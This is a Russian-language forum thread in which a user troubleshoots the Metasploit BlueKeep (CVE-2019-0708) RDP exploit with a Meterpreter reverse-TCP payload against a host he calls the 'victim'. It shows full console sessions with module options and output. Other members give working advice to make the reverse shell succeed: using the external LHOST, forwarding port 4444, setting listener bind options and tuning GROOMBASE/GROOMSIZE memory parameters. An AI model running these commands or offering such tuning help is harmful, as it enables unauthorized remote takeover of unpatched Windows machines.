Вопрос по метасплоит (CVE-2019-0708)

Discussion in 'Песочница' started by leikoz, 20 Mar 2020.

  1. leikoz

    leikoz New Member

    Joined:
    20 Mar 2020
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Проблемма с использованием CVE-2019-0708

    msf5 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
    msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
    PAYLOAD => windows/x64/meterpreter/reverse_tcp
    msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 1

    msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhosts 200.000.100.28
    msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit

    [*] Exploiting target 200.000.100.28
    [*] Started reverse TCP handler on 192.168.1.114:4444
    [*] 200.000.100.28:3389 - Using auxiliary/scanner/rdp/cve_2019_0708_bluekeep as check
    [+] 200.000.100.28:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
    [*] 200.000.100.28:3389 - Scanned 1 of 1 hosts (100% complete)

    [*] Sending stage (206403 bytes) to 5.164.26.35 <----СЮДА ПОДСТАВЛЯЕТСЯ непонятный айпишник в место 200.000.100.28

    [*] 200.000.100.28:3389 - Using CHUNK grooming strategy. Size 50MB, target address 0xfffffa8006a00000, Channel count 1.
    [!] 200.000.100.28:3389 - <---------------- | Entering Danger Zone | ---------------->
    [*] 200.000.100.28:3389 - Surfing channels ...
    [*] 200.000.100.28:3389 - Lobbing eggs ...
    [-] 200.000.100.28:3389 - Exploit failed: NameError undefined local variable or method `rdp_move_mouse' for #<Msf::Modules::Exploit__Windows__Rdp__Cve_2019_0708_bluekeep_rce::MetasploitModule:0x00007f2df17daae8>

    Может кто сталкивался, все перекопал не нашел похожей траблы.
     
  2. 3TON

    3TON Member

    Joined:
    18 Feb 2020
    Messages:
    11
    Likes Received:
    6
    Reputations:
    1
    Покажи вывод "options"
     
  3. leikoz

    leikoz New Member

    Joined:
    20 Mar 2020
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show options

    Module options (exploit/windows/rdp/cve_2019_0708_bluekeep_rce):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RDP_CLIENT_IP 192.168.0.100 yes The client IPv4 address to report during connect
    RDP_CLIENT_NAME ethdev no The client computer name to report during connect, UNSET = random
    RDP_DOMAIN no The client domain name to report during connect
    RDP_USER no The username to report during connect, UNSET = random
    RHOSTS 200.100.100.100 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
    RPORT 3389 yes The target port (TCP)


    Payload options (windows/x64/meterpreter/reverse_tcp):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
    LHOST 192.168.1.109 yes The listen address (an interface may be specified)
    LPORT 4444 yes The listen port


    Exploit target:

    Id Name
    -- ----
    1 Windows 7 SP1 / 2008 R2 (6.1.7601 x64)


    msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit
    [*] Started reverse TCP handler on 192.168.1.109:4444
    [*] 200.100.100.100:3389 - Using auxiliary/scanner/rdp/cve_2019_0708_bluekeep as check
    [+] 200.100.100.100:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
    [*] 200.100.100.100:3389 - Scanned 1 of 1 hosts (100% complete)
    [*] Sending stage (206403 bytes) to 5.164.26.35 < сюда не только этот ip подставляется, как будто рандомно
    [-] 200.100.100.100:3389 - Exploit failed: Msf::Exploit::Remote::RDP::RdpCommunicationError Msf::Exploit::Remote::RDP::RdpCommunicationError
    [*] Exploit completed, but no session was created.
    msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) >
     
  4. fandor9

    fandor9 Well-Known Member

    Joined:
    16 Nov 2018
    Messages:
    444
    Likes Received:
    680
    Reputations:
    19
    Может быть это ваш внешний IP из Тулы?
    Code:
    whois 5.164.26.3
    inetnum:        5.164.24.0 - 5.164.31.255
    netname:        ERTH-TULA-PPPOE-8-NET
    descr:          CJSC "ER-Telecom Holding" Tula branch
    descr:          Tula, Russia                         
    descr:          PPPoE individual customers
    country:        RU  
    Вы порт 4444 пробрасываете на своём роутере? или как вы подключены к интернету? Я так понимаю RDP_CLIENT_IP должен быть вашим внешним адресом.
     
  5. leikoz

    leikoz New Member

    Joined:
    20 Mar 2020
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    да порт проброшен, этот адресс "5.164.26.3" вообще не понятно откуда берется это не мой адресс и близко, бывают и другие, дело в том что там должен стоять ип жертвы тоесть "[*] Sending stage (206403 bytes) to 200.000.100.28" должно быть

    видео правильной работы
     
  6. hibar1Xs

    hibar1Xs Member

    Joined:
    30 Jan 2019
    Messages:
    15
    Likes Received:
    8
    Reputations:
    3
    LHOST Ваш внешний адрес.
    LPORT Внешний порт.

    Потом укажите локальный порт и адрес через ReverseListenerBindAddress и ReverseListenerBindPort.
    Подробнее посмотреть: show advanced
     
  7. leikoz

    leikoz New Member

    Joined:
    20 Mar 2020
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    не помогло.. все тоже самое происходит, буду пробовать с другой машины
     
  8. fandor9

    fandor9 Well-Known Member

    Joined:
    16 Nov 2018
    Messages:
    444
    Likes Received:
    680
    Reputations:
    19
    может быть у вас не подходят адреса памяти (GROOMBASE) и размер памяти (GROOMSIZE), за счёт чего сплоит читает левый адрес памяти, где стоит всё что угодно, и берёт его как адрес. Тогда естественно сплоит летит мимо и падает. Тоесть вам надо подобрать правильный адрес и размер.
     
Loading...